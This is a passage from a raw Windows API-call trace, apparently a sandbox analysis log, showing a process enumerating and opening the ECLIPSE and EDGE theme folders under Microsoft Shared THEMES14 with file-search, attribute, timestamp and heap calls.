dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.508] GetLastError () returned 0x12 [0060.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0060.509] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.509] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.509] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0060.509] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0060.511] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfaabc0 [0060.511] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfaabc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfaabc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaabc0) returned 1 [0060.511] NtClose (Handle=0x190) returned 0x0 [0060.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8b88 [0060.511] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.511] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.511] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8c90 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7d70 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8d98 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7d90 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8ea0 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7db0 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8fa8 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.512] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7dd0 [0060.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa90b0 [0060.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.513] GetLastError () returned 0x12 [0060.513] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.513] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.513] GetLastError () returned 0x12 [0060.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa8b88) returned 1 [0060.513] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa8c90) returned 1 [0060.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.513] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0060.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0060.537] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfaabc0 [0060.537] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfaabc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfaabc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaabc0) returned 1 [0060.537] NtClose (Handle=0x184) returned 0x0 [0060.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.537] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.537] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7df0 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8c90 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7e10 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8b88 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7e30 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa91b8 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7e50 [0060.539] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa92c0 [0060.539] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.539] GetLastError () returned 0x12 [0060.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.539] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0060.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, 